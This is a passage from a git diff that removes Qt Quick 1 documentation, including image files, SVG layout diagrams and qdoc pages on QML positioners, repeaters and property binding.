71bda8eb0b..0000000000 Binary files a/doc/src/qtquick1/pics/edge2.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edge3.png b/doc/src/qtquick1/pics/edge3.png deleted file mode 100644 index 51bb894c3e..0000000000 Binary files a/doc/src/qtquick1/pics/edge3.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edge4.png b/doc/src/qtquick1/pics/edge4.png deleted file mode 100644 index aee3bd109f..0000000000 Binary files a/doc/src/qtquick1/pics/edge4.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edges.png b/doc/src/qtquick1/pics/edges.png deleted file mode 100644 index 211b1019a4..0000000000 Binary files a/doc/src/qtquick1/pics/edges.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edges.svg b/doc/src/qtquick1/pics/edges.svg deleted file mode 100644 index 25698ca40f..0000000000 --- a/doc/src/qtquick1/pics/edges.svg +++ /dev/null @@ -1,185 +0,0 @@ - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - Top - VerticalCenter - Bottom - Left - Right - HorizontalCenter - - - diff --git a/doc/src/qtquick1/pics/edges_examples.svg b/doc/src/qtquick1/pics/edges_examples.svg deleted file mode 100644 index 31e9901f07..0000000000 --- a/doc/src/qtquick1/pics/edges_examples.svg +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - image/svg+xml - - - - - - - - rect1 - rect2 - - rect3 - - diff --git a/doc/src/qtquick1/pics/edges_qml.png b/doc/src/qtquick1/pics/edges_qml.png deleted file mode 100644 index 73f22f92b3..0000000000 Binary files a/doc/src/qtquick1/pics/edges_qml.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/edges_qml.svg b/doc/src/qtquick1/pics/edges_qml.svg deleted file mode 100644 index 1814ec6b20..0000000000 --- a/doc/src/qtquick1/pics/edges_qml.svg +++ /dev/null @@ -1,188 +0,0 @@ - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - top - verticalCenter - bottom - left - right - horizontalCenter - - - diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter1.png b/doc/src/qtquick1/pics/extending-tutorial-chapter1.png deleted file mode 100644 index 9f5836b09c..0000000000 Binary files a/doc/src/qtquick1/pics/extending-tutorial-chapter1.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter2.png b/doc/src/qtquick1/pics/extending-tutorial-chapter2.png deleted file mode 100644 index 5c8f222aad..0000000000 Binary files a/doc/src/qtquick1/pics/extending-tutorial-chapter2.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter3.png b/doc/src/qtquick1/pics/extending-tutorial-chapter3.png deleted file mode 100644 index 825553fc5f..0000000000 Binary files a/doc/src/qtquick1/pics/extending-tutorial-chapter3.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter5.png b/doc/src/qtquick1/pics/extending-tutorial-chapter5.png deleted file mode 100644 index 0c2e69e1b4..0000000000 Binary files a/doc/src/qtquick1/pics/extending-tutorial-chapter5.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/flickable.gif b/doc/src/qtquick1/pics/flickable.gif deleted file mode 100644 index f7a3319496..0000000000 Binary files a/doc/src/qtquick1/pics/flickable.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/flipable.gif b/doc/src/qtquick1/pics/flipable.gif deleted file mode 100644 index fd187906bb..0000000000 Binary files a/doc/src/qtquick1/pics/flipable.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/gridLayout_example.png b/doc/src/qtquick1/pics/gridLayout_example.png deleted file mode 100644 index 6b120e9639..0000000000 Binary files a/doc/src/qtquick1/pics/gridLayout_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/gridview-highlight.png b/doc/src/qtquick1/pics/gridview-highlight.png deleted file mode 100644 index b54af37f93..0000000000 Binary files a/doc/src/qtquick1/pics/gridview-highlight.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/gridview-simple.png b/doc/src/qtquick1/pics/gridview-simple.png deleted file mode 100644 index a102939f2b..0000000000 Binary files a/doc/src/qtquick1/pics/gridview-simple.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/highlight.gif b/doc/src/qtquick1/pics/highlight.gif deleted file mode 100644 index fbef256f54..0000000000 Binary files a/doc/src/qtquick1/pics/highlight.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/horizontalpositioner_example.png b/doc/src/qtquick1/pics/horizontalpositioner_example.png deleted file mode 100644 index 42f90ec7ae..0000000000 Binary files a/doc/src/qtquick1/pics/horizontalpositioner_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/imageprovider.png b/doc/src/qtquick1/pics/imageprovider.png deleted file mode 100644 index 422103cb07..0000000000 Binary files a/doc/src/qtquick1/pics/imageprovider.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/layoutmirroring.png b/doc/src/qtquick1/pics/layoutmirroring.png deleted file mode 100644 index df90ac4f9a..0000000000 Binary files a/doc/src/qtquick1/pics/layoutmirroring.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/listmodel-nested.png b/doc/src/qtquick1/pics/listmodel-nested.png deleted file mode 100644 index ee7ffba67a..0000000000 Binary files a/doc/src/qtquick1/pics/listmodel-nested.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/listmodel.png b/doc/src/qtquick1/pics/listmodel.png deleted file mode 100644 index 7ab1771f15..0000000000 Binary files a/doc/src/qtquick1/pics/listmodel.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/listview-highlight.png b/doc/src/qtquick1/pics/listview-highlight.png deleted file mode 100644 index dc5c6b3b57..0000000000 Binary files a/doc/src/qtquick1/pics/listview-highlight.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/listview-simple.png b/doc/src/qtquick1/pics/listview-simple.png deleted file mode 100644 index 71a1c5172f..0000000000 Binary files a/doc/src/qtquick1/pics/listview-simple.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/margins_qml.png b/doc/src/qtquick1/pics/margins_qml.png deleted file mode 100644 index d7d73a3fc9..0000000000 Binary files a/doc/src/qtquick1/pics/margins_qml.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/margins_qml.svg b/doc/src/qtquick1/pics/margins_qml.svg deleted file mode 100644 index 1f0ff022bb..0000000000 --- a/doc/src/qtquick1/pics/margins_qml.svg +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - topMargin - bottomMargin - leftMargin - rightMargin - - - - - - diff --git a/doc/src/qtquick1/pics/parentchange.png b/doc/src/qtquick1/pics/parentchange.png deleted file mode 100644 index 93206fbbb2..0000000000 Binary files a/doc/src/qtquick1/pics/parentchange.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/particles.gif b/doc/src/qtquick1/pics/particles.gif deleted file mode 100644 index 763a8a8616..0000000000 Binary files a/doc/src/qtquick1/pics/particles.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/pathview.gif b/doc/src/qtquick1/pics/pathview.gif deleted file mode 100644 index 4052eb264b..0000000000 Binary files a/doc/src/qtquick1/pics/pathview.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/positioner-add.gif b/doc/src/qtquick1/pics/positioner-add.gif deleted file mode 100644 index 86e9247073..0000000000 Binary files a/doc/src/qtquick1/pics/positioner-add.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/positioner-move.gif b/doc/src/qtquick1/pics/positioner-move.gif deleted file mode 100644 index 1825c2282b..0000000000 Binary files a/doc/src/qtquick1/pics/positioner-move.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/positioner-remove.gif b/doc/src/qtquick1/pics/positioner-remove.gif deleted file mode 100644 index 708651190c..0000000000 Binary files a/doc/src/qtquick1/pics/positioner-remove.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/propanim.gif b/doc/src/qtquick1/pics/propanim.gif deleted file mode 100644 index f86406ee7f..0000000000 Binary files a/doc/src/qtquick1/pics/propanim.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-context-object.png b/doc/src/qtquick1/pics/qml-context-object.png deleted file mode 100644 index 1b91aff651..0000000000 Binary files a/doc/src/qtquick1/pics/qml-context-object.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-context-tree.png b/doc/src/qtquick1/pics/qml-context-tree.png deleted file mode 100644 index 6bba5f4f05..0000000000 Binary files a/doc/src/qtquick1/pics/qml-context-tree.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-context.png b/doc/src/qtquick1/pics/qml-context.png deleted file mode 100644 index bdf2ecd2c6..0000000000 Binary files a/doc/src/qtquick1/pics/qml-context.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-extending-types.png b/doc/src/qtquick1/pics/qml-extending-types.png deleted file mode 100644 index 6990d7c190..0000000000 Binary files a/doc/src/qtquick1/pics/qml-extending-types.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-gradient.png b/doc/src/qtquick1/pics/qml-gradient.png deleted file mode 100644 index 5eefdd2031..0000000000 Binary files a/doc/src/qtquick1/pics/qml-gradient.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qml-scope.png b/doc/src/qtquick1/pics/qml-scope.png deleted file mode 100644 index be025c8c3d..0000000000 Binary files a/doc/src/qtquick1/pics/qml-scope.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/qtlogo.png b/doc/src/qtquick1/pics/qtlogo.png deleted file mode 100644 index 399bd0b1d9..0000000000 Binary files a/doc/src/qtquick1/pics/qtlogo.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/rect-border-width.png b/doc/src/qtquick1/pics/rect-border-width.png deleted file mode 100644 index e232cf3ebd..0000000000 Binary files a/doc/src/qtquick1/pics/rect-border-width.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/rect-color.png b/doc/src/qtquick1/pics/rect-color.png deleted file mode 100644 index b258ba9b6c..0000000000 Binary files a/doc/src/qtquick1/pics/rect-color.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/rect-smooth.png b/doc/src/qtquick1/pics/rect-smooth.png deleted file mode 100644 index 7ffd8aba33..0000000000 Binary files a/doc/src/qtquick1/pics/rect-smooth.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/reflection_example.png b/doc/src/qtquick1/pics/reflection_example.png deleted file mode 100644 index fd9bb48022..0000000000 Binary files a/doc/src/qtquick1/pics/reflection_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/repeater-index.png b/doc/src/qtquick1/pics/repeater-index.png deleted file mode 100644 index 3dbe6d0571..0000000000 Binary files a/doc/src/qtquick1/pics/repeater-index.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/repeater-modeldata.png b/doc/src/qtquick1/pics/repeater-modeldata.png deleted file mode 100644 index 6d8df0d9d5..0000000000 Binary files a/doc/src/qtquick1/pics/repeater-modeldata.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/repeater-simple.png b/doc/src/qtquick1/pics/repeater-simple.png deleted file mode 100644 index 6da62951dc..0000000000 Binary files a/doc/src/qtquick1/pics/repeater-simple.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/repeater.png b/doc/src/qtquick1/pics/repeater.png deleted file mode 100644 index 973df27a74..0000000000 Binary files a/doc/src/qtquick1/pics/repeater.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/scalegrid.svg b/doc/src/qtquick1/pics/scalegrid.svg deleted file mode 100644 index e386f3d7bb..0000000000 --- a/doc/src/qtquick1/pics/scalegrid.svg +++ /dev/null @@ -1,183 +0,0 @@ - - - - - - - - - image/svg+xml - - - - - - - - - - - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - - diff --git a/doc/src/qtquick1/pics/shadow_example.png b/doc/src/qtquick1/pics/shadow_example.png deleted file mode 100644 index 6214620f0c..0000000000 Binary files a/doc/src/qtquick1/pics/shadow_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/squish-transform.png b/doc/src/qtquick1/pics/squish-transform.png deleted file mode 100644 index 0eb848edc2..0000000000 Binary files a/doc/src/qtquick1/pics/squish-transform.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/squish.png b/doc/src/qtquick1/pics/squish.png deleted file mode 100644 index 73bf2920de..0000000000 Binary files a/doc/src/qtquick1/pics/squish.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/switch-example.gif b/doc/src/qtquick1/pics/switch-example.gif deleted file mode 100644 index 3d6582fecc..0000000000 Binary files a/doc/src/qtquick1/pics/switch-example.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/translate.png b/doc/src/qtquick1/pics/translate.png deleted file mode 100644 index baf58b0eb6..0000000000 Binary files a/doc/src/qtquick1/pics/translate.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/verticalpositioner_example.png b/doc/src/qtquick1/pics/verticalpositioner_example.png deleted file mode 100644 index 458dc7f481..0000000000 Binary files a/doc/src/qtquick1/pics/verticalpositioner_example.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/verticalpositioner_transition.gif b/doc/src/qtquick1/pics/verticalpositioner_transition.gif deleted file mode 100644 index ed61adb5ab..0000000000 Binary files a/doc/src/qtquick1/pics/verticalpositioner_transition.gif and /dev/null differ diff --git a/doc/src/qtquick1/pics/visualitemmodel.png b/doc/src/qtquick1/pics/visualitemmodel.png deleted file mode 100644 index 5e6d1325b2..0000000000 Binary files a/doc/src/qtquick1/pics/visualitemmodel.png and /dev/null differ diff --git a/doc/src/qtquick1/pics/webview.png b/doc/src/qtquick1/pics/webview.png deleted file mode 100644 index 0d24586587..0000000000 Binary files a/doc/src/qtquick1/pics/webview.png and /dev/null differ diff --git a/doc/src/qtquick1/positioners.qdoc b/doc/src/qtquick1/positioners.qdoc deleted file mode 100644 index 07a50ad567..0000000000 --- a/doc/src/qtquick1/positioners.qdoc +++ /dev/null @@ -1,197 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-positioners.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\previouspage Property Binding -\nextpage Anchor-based Layout in QML -\contentspage QML Features -\title Using QML Positioner and Repeater Items - - -Positioner items are container items that manage the positions and sizes of -items in a declarative user interface. Positioners behave in a similar way to -the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets, -except that they are also containers in their own right. - -Positioners and repeaters make it easier to work with many items when they need -to be arranged in a regular layout. - -\section1 Positioners - -A set of standard positioners are provided in the basic set of Qt Quick -graphical elements: - -\list -\o \l{#Column}{Column} arranges its children in a column -\o \l{#Row}{Row} arranges its children in a row -\o \l{#Grid}{Grid} arranges its children in a grid -\o \l{#Flow}{Flow} arranges its children like words on a page -\endlist - -\section2 Column - -\div {class="float-right"} -\inlineimage qml-column.png -\enddiv - -\l Column items are used to vertically arrange items. The following example -uses a Column item to arrange three \l Rectangle items in an area defined -by an outer \l Item. The \l{Column::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -\clearfloat -\snippet doc/src/snippets/declarative/column/column.qml document - -Note that, since Column inherits directly from Item, any background color -must be added to a parent Rectangle, if desired. - -\section2 Row - -\div {class="float-right"} -\inlineimage qml-row.png -\enddiv - -\l Row items are used to horizontally arrange items. The following example -uses a Row item to arrange three rounded \l Rectangle items in an area defined -by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -We ensure that the parent Rectangle is large enough so that there is some space -left around the edges of the horizontally centered Row item. - -\clearfloat -\snippet doc/src/snippets/declarative/row.qml document - -\section2 Grid - -\div {class="float-right"} -\inlineimage qml-grid-spacing.png -\enddiv - -\l Grid items are used to place items in a grid or table arrangement. -The following example uses a Grid item to place four \l Rectangle items -in a 2-by-2 grid. As with the other positioners, the spacing between items -can be specified using the \l{Grid::spacing}{spacing} property. - -\clearfloat -\snippet doc/src/snippets/declarative/grid-spacing.qml document - -There is no difference between horizontal and vertical spacing inserted -between items, so any additional space must be added within the items -themselves. - -Any empty cells in the grid must be created by defining placeholder items -at the appropriate places in the Grid definition. - -\section2 Flow - -\div {class="float-right"} -\inlineimage qml-flow-text1.png -\inlineimage qml-flow-text2.png -\enddiv - -\l Flow items are used to place items like words on a page, with rows or -columns of non-overlapping items. - -Flow items arrange items in a similar way to \l Grid items, with items -arranged in lines along one axis (the minor axis), and lines of items -placed next to each other along another axis (the major axis). The -direction of flow, as well as the spacing between items, are controlled -by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties. - -The following example shows a Flow item containing a number of \l Text -child items. These are arranged in a similar way to those shown in the -screenshots. - -\clearfloat -\snippet doc/src/snippets/declarative/flow.qml document - -The main differences between the Grid and Flow positioners are that items -inside a Flow will wrap when they run out of space on the minor axis, and -items on one line may not be aligned with items on another line if the -items do not have uniform sizes. As with Grid items, there is no independent -control of spacing between items and between lines of items. - -\section1 Repeaters - -\div {class="float-right"} -\inlineimage qml-repeater-grid-index.png -\enddiv - -Repeaters create items from a template for use with positioners, using data -from a model. Combining repeaters and positioners is an easy way to lay out -lots of items. A \l Repeater item is placed inside a positioner, and generates -items that the enclosing positioner arranges. - -Each Repeater creates a number of items by combining each element of data -from a model, specified using the \l{Repeater::model}{model} property, with -the template item, defined as a child item within the Repeater. -The total number of items is determined by the amount of data in the model. - -The following example shows a repeater used with a \l{#Grid}{Grid} item to -arrange a set of Rectangle items. The Repeater item creates a series of 24 -rectangles for the Grid item to position in a 5 by 5 arrangement. - -\clearfloat -\snippet doc/src/snippets/declarative/repeaters/repeater-grid-index.qml document - -The number of items created by a Repeater is held by its \l{Repeater::}{count} -property. It is not possible to set this property to determine the number of -items to be created. Instead, as in the above example, we use an integer as -the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models} -document. - -It is also possible to use a delegate as the template for the items created -by a Repeater. This is specified using the \l{Repeater::}{delegate} property. - -\section1 Using Transitions - -Transitions can be used to animate items that are added to, moved within, -or removed from a positioner. - -Transitions for adding items apply to items that are created as part of a -positioner, as well as those that are reparented to become children of a -positioner. -Transitions for removing items apply to items within a positioner that are -deleted, as well as those that are removed from a positioner and given new -parents in a document. - -Additionally, changing the opacity of items to zero will cause them to -disappear using the remove transition, and making the opacity non-zero will -cause them to appear using the add transition. - -\section1 Other Ways to Position Items - -There are several other ways to position items in a user interface. In addition -to the basic technique of specifying their coordinates directly, they can be -positioned relative to other items with \l{anchor-layout}{anchors}, or used -with \l{QML Data Models} such as -\l{QML Data Models#VisualItemModel}{VisualItemModel}. -*/ diff --git a/doc/src/qtquick1/propertybinding.qdoc b/doc/src/qtquick1/propertybinding.qdoc deleted file mode 100644 index 2762f8abea..0000000000 --- a/doc/src/qtquick1/propertybinding.qdoc +++ /dev/null @@ -1,325 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page propertybinding.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Basic Types}{Data Types} -\nextpage {Using QML Positioner and Repeater Items}{Component Layouts} -\title Property Binding - -\section1 Properties - -QML components have \e properties that can be read and modified by other objects. -In QML, properties serve many purposes but their main function is to bind to -values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. - -The syntax for properties is: - -\tt{[default] property [: defaultValue]} - -Elements already possess useful properties but, to create custom properties, -precede the property name with the keyword \c property. - -\snippet doc/src/snippets/declarative/properties.qml parent begin -\snippet doc/src/snippets/declarative/properties.qml inherited properties -\snippet doc/src/snippets/declarative/properties.qml custom properties -\snippet doc/src/snippets/declarative/properties.qml parent end - -QML property rules coincide with many of JavaScript's property rules, for example, -property names must begin with a lowercase letter. -\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property -names. - -\section1 Property Binding - -Property binding is a declarative way of specifying the value of a property. Binding allows -a property's value to be expressed as an JavaScript expression that defines the value relative -to other property values or data accessible in the application. The property value is -automatically kept up to date if the other properties or data values change. - -Property bindings are created in QML using the colon "\c {:}" before the value: -\snippet doc/src/snippets/declarative/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be -used as a property binding. Bindings can access object properties, make function calls and even -use built-in JavaScript objects such as \c {Date} and \c {Math}. -\snippet doc/src/snippets/declarative/properties.qml JavaScript sample - -While syntactically bindings can be of arbitrary complexity, if a binding starts to become -overly complex - such as involving multiple lines, or imperative loops - it may be better -to refactor the component entirely, or at least factor the binding out into a separate -function. - -\keyword qml-javascript-assignment -\section1 Property Assignment versus Property Binding - -When working with both QML and JavaScript, it is important to differentiate between -QML property binding and JavaScript value assignment. In QML, a property -binding is created using the colon "\c {:}". -\snippet doc/src/snippets/declarative/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -Assigning a property value (using the equals sign "\c {=}") does not create a -property binding. -\snippet doc/src/snippets/declarative/properties.qml property assignment - -Instead of creating a property binding, the assignment simply sets the \c Rectangle -\c width value to a number when the \c Component.onCompleted code is invoked. - -Assigning a value to a property that is already bound will remove the previous binding. -A property can only have one value at a time (a list of property is one value), -and if any code explicitly re-sets this value, the property binding is removed. - -There is no way to create a property binding directly from imperative JavaScript code, -although it is possible to use the \l {Using the Binding Element}{Binding} element. - -\section1 Types of Properties - -Properties may bind to different types, but they are are \e type-safe. That is, -properties only allow you to assign a value that matches the property type. For -example, if a property is a real, and if you try to assign a string to it you -will get an error. - -\badcode -property real volume: "four" //generates an error -\endcode - -Certain properties bind to more complex types such as other elements and objects. - -\keyword qml-basic-property-types -\section2 Basic Property Types - -Basic types such as \l int, \l real, and other Qt structures may be bound to -properties. For a list of types, visit the \l {QML Basic Types} document. - -\keyword qml-id-property -\section2 The \c id Property - -Each QML object may be given a special unique property called an \c id. -No other object within the same QML component (see \l{QML Documents}) can have -the same \c id value. QML objects may then access an object using the \c id -property. -\snippet doc/src/snippets/declarative/properties.qml id property -A component may readily access its parent's properties by using the \c parent -property. - -Note that an \c id must begin with a lower-case letter or an underscore. The -\c id cannot contain characters other than letters, numbers, underscores, and -\l {JavaScript Reserved Words}{JavaScript reserved words}. - -\section2 Elements and Objects as Property Values - -Many properties bind to objects. For example, the \l Item element has a -\c states property that can bind to \l State elements. This type of property -binding allows elements to carry additional non-children elements. \c Item's -\c transitions property behaves in a similar way; it can bind to \l Transition -elements. - -Care must be taken when referring to the parent of an object property binding. -Elements and components that are bound to properties are not necessarily set -as children of the properties' component. - -\snippet doc/src/snippets/declarative/properties.qml object binding -The code snippet has a \l Gradient element that attempts to print its parent's -\c width value. However, the \c Gradient element is bound to the \c gradient -property, not the \c children property of the \c Rectangle. As a result, the -\c Gradient does not have the \c Rectangle as its parent. Printing the value -of \c{parent.width} generates an error. Printing the \c Rectangle object's -first child's \c name will print \c {childrectangle} because the second -\c Rectangle is bound to the \c children property. - -For more information about the \c children property, please read the -\l {Default Properties} section. - -\keyword attached-properties -\section2 Attached Properties - -Certain objects provide additional properties by \e attaching properties to other -objects. For example, the \l Keys element have properties that can \e attach to other QML -objects to provide keyboard handling. - -\snippet doc/src/snippets/declarative/properties.qml list attached property -The element \l ListView provides the delegate, \c listdelegate, the property -\c isCurrentItem as an attached property. The \c ListView.isCurrentItem -\e{attached property} provides highlight information to the delegate. -Effectively, the \l ListView element attaches the \c ListView.isCurrentItem -property to each delegate it creates. - -\keyword attached-signalhandlers -\section2 Attached Signal Handlers - -\e {Attached signal handlers} are similar -to \l{Attached Properties}{attached properties} in that they attach to objects -to provide additional functionality to objects. Two prominent elements, -\l Component and \l Keys element provide -\l{QML Signal and Handler Event System}{signal handlers} as attached signal -handlers. -\snippet doc/src/snippets/declarative/properties.qml attached signal handler - -Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML} -articles for more information. - -\section2 List properties - -Some properties may accept a binding to a list property, where more than one -component can bind to the property. List properties allow multiple -\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a -single property. -\snippet doc/src/snippets/declarative/properties.qml list property -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you may omit the square brackets. -\snippet doc/src/snippets/declarative/properties.qml single property - -To access the list, use the \c index property. -\snippet doc/src/snippets/declarative/properties.qml print list property -The snippet code simply prints the name of the first state, \c FETCH. - - See the \l{list}{list type} documentation -for more details about list properties and their available operations. - -\keyword qml-grouped-properties -\section2 Grouped Properties - -In some cases properties form a logical group and use either the \e dot notation -or \e group notation. - -Grouped properties may be written both ways: -\snippet doc/src/snippets/declarative/properties.qml grouped properties - -In the element documentation grouped properties are shown using the dot notation. - -\section2 Property Aliases - -Unlike a property definition, which allocates a new, unique storage space for -the property, a property alias connects the newly declared property, called the -\e{aliasing property} as a direct reference to an existing property, the -\e{aliased property}. Read or write operations on the aliasing property results -in a read or write operations on the aliased property, respectively. - -A property alias declaration is similar to an ordinary property definition: - -\tt{[default] property alias : } - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special \c alias keyword is before the property name. -Instead of a default value, a property alias has a compulsory alias reference. -Accessing the aliasing property is similar to accessing a regular property. In -addition, the optional \c default keyword indicates that the aliasing property -is a \l{Default Properties}{default property}. - -\snippet doc/src/snippets/declarative/Button.qml property alias -When importing the component as a \c Button, the \c buttonlabel is directly -accessible through the \c label property. -\snippet doc/src/snippets/declarative/properties.qml alias usage -In addition, the \c id property may also be aliased and referred outside the -component. -\snippet doc/src/snippets/declarative/Button.qml parent begin -\snippet doc/src/snippets/declarative/Button.qml id alias -\snippet doc/src/snippets/declarative/Button.qml parent end -The \c imagebutton component has the ability to modify the child \l Image object - and its properties. -\snippet doc/src/snippets/declarative/properties.qml image alias - -Using aliases, properties may be exposed to the -\l{qml-top-level-component}{top level component}. Exposing properties to the -top-level component allows components to have interfaces similar to Qt widgets. - -\section3 Considerations for property aliases - -Aliases are only activated once the component -\l{Component::onCompleted}{completes} its initialization. An error is generated -when an uninitialized alias is referenced. Likewise, aliasing an aliasing -property will also result in an error. - -\snippet doc/src/snippets/declarative/properties.qml alias complete - -When importing the component, however, aliasing properties appear as regular Qt -properties and consequently can be used in alias references. - -It is possible for an aliasing property to have the same name as an existing -property, effectively overwriting the existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet doc/src/snippets/declarative/properties.qml alias overwrite - -Any object that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. -Internally, however, the \c coloredrectangle can correctly set its \c color -property and refer to the actual defined property rather than the alias. - -The \l{declarative/ui-components/tabwidget}{TabWidget} example uses -aliases to reassign children to the \l ListView, creating a tab effect. - -\keyword default-properties -\section2 Default Properties - -When imported, QML components will bind declared children to their designated -\e{default properties}. The optional \c default attribute specifies a property -as the \e {default property}. For example, the State element's default property -is its \l{State::changes}{changes} property. \l PropertyChanges elements -may simply be placed as the \c{State}'s children and they will be bound to the -\c changes property. -\snippet doc/src/snippets/declarative/properties.qml state default - -Similarly, the \l Item element's default property is its -\l{Item::data}{data} property. The \c data property manages Item's -\c children and \c resources properties. This way, different data types may be -placed as direct children of the \c Item. -\snippet doc/src/snippets/declarative/properties.qml default property - -Reassigning a default property is useful when a component is reused. For -example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses -the \c default attribute to reassign children to the \l ListView, creating -a tab effect. - -\section1 Using the Binding Element - -In some advanced cases, it may be necessary to create bindings explicitly with -the\l Binding element. - -For example, to bind a property exposed from C++ (\c system.brightness) to a -value written in QML (\c slider.value), you could use the \l Binding element as -follows: -\snippet doc/src/snippets/declarative/properties.qml binding element - -\section1 Changing Property Values in States - -The \l PropertyChanges element is for setting property bindings within a -\l State element to set a property binding. - -\snippet doc/src/snippets/declarative/properties.qml PropertyChanges element -The rectangle's \c color property will bind to the \c warning component's -\c color property when its \c state is set to the \c WARNING state. -*/ diff --git a/doc/src/qtquick1/qdeclarativedebugging.qdoc b/doc/src/qtquick1/qdeclarativedebugging.qdoc deleted file mode 100644 index 8a8f79f844..0000000000 --- a/doc/src/qtquick1/qdeclarativedebugging.qdoc +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedebugging.html 